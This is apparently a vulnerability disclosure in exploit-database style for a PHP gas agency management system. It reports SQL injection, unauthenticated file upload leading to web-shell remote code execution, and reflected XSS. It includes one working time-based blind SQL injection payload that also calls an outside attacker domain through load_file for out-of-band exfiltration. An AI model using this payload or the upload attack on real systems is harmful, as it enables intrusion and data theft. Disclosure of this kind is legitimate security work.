## Title: Gas Agency Management-2022 by Mayuri K - SQLi+FU-RCE+XSS
## Author: nu11secur1ty
## Date: 08.12.2022
## Vendor Homepage: https://www.mayurik.com/#download_section
## Software Link-0:
https://www.sourcecodester.com/php/15586/gas-agency-management-system-project-php-free-download-source-code.html
## Software Link-1:
https://github.com/nu11secur1ty/CVE-nu11secur1ty/blob/main/vendors/mayuri_k/2022/Gas-Agency-Management-2022/Docs/gasmark.zip


## Description:
The Gas Agency Management-2022 by Mayuri K suffers from multiple
vulnerabilities, which means this project must be deprecated
immediately!

1. - SQLi: the parameter username is vulnerable to time-based blind
(query SLEEP) injection - not sanitizing well.
2. - Unauthenticated file upload - not sanitizing upload function -
possible to upload .php extension files on photo section, for the
customers.
3. - XSS-reflected in the section adds customer in address function.
4. - Web shell file upload - unauthenticated extension file upload, in
this case, is PHP web shell uploader. After this, the malicious user
can execute the already   uploaded file remotely, and he can destroy
completely this flawed system.
5. - STATUS: For termination of the project.

[+]Payloads:

```mysql
---
Parameter: username (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=mxiusQzi'+(select
load_file('\\\\alzg6yrkl2xieezgaz9zqnya91fu3lw9ncb4yumj.tupaciganka.com\\jfe'))+''
AND (SELECT 9964 FROM (SELECT(SLEEP(5)))bVfa)--
FygL&password=r8H!r2a!U2&login=
---
```
[+]Unauthenticated Upload:
- - - in the video:https://streamable.com/opqz3n

[+]XSS-Reflected:
- - - in the video:https://streamable.com/opqz3n

[+]RCE:
- - - in the video:https://streamable.com/opqz3n

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/mayuri_k/2022/Gas-Agency-Management-2022)

## Proof and Exploit:
[href](https://streamable.com/opqz3n)


-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html and https://www.exploit-db.com/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>